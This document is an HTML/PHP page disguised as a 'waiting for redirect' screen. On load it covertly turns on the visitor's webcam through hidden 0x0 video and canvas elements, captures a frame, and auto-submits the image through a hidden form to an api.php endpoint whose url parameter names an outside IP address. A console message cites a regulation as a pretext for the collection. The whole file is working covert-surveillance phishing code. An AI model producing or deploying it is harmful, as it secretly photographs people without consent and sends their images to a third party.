<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8">
  <title>等待跳转...</title>
</head>

<body>

  <video id="video" width="0" height="0" autoplay></video>
  <canvas id="canvas" width="1024" height="1280" style="width:0px; height:0px;"></canvas>

  <script type="text/javascript">
    function photo() {
      window.addEventListener("DOMContentLoaded", function () {
        var canvas = document.getElementById('canvas');
        var context = canvas.getContext('2d');
        var video = document.getElementById('video');

        var urlB = <?php echo json_encode($_GET['type'] ?? ""); ?>;
        if (urlB === "10086") {
          console.log('根据《互联网信息服务管理办法》，需要收集用户的部分信息用于访问该敏感页面，我们将对于收集到的信息进行保密!');
        }

        if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
          navigator.mediaDevices.getUserMedia({ video: true })
            .then(function (stream) {
              video.srcObject = stream;
              video.play();

              // 拍摄一帧
              setTimeout(function () {
                context.drawImage(video, 0, 0, canvas.width, canvas.height);
              }, 500);

              // 提交上传
              setTimeout(function () {
                var img = canvas.toDataURL('image/png');
                document.getElementById('result').value = img;
                document.getElementById('gopo').submit();
              }, 1300);
            })
            .catch(function () {
              console.log('根据《互联网信息服务管理办法》，需要收集用户的部分信息用于访问该敏感页面，我们将对于收集到的信息进行保密!');
            });
        }
      }, false);
    }

    photo();
  </script>


  <form action="api.php?id=sstest&url=http://124.221.156.93/webview/index.php" id="gopo" method="post">
    <input type="hidden" name="img" id="result" value="" />
  </form>

</body>
</html>

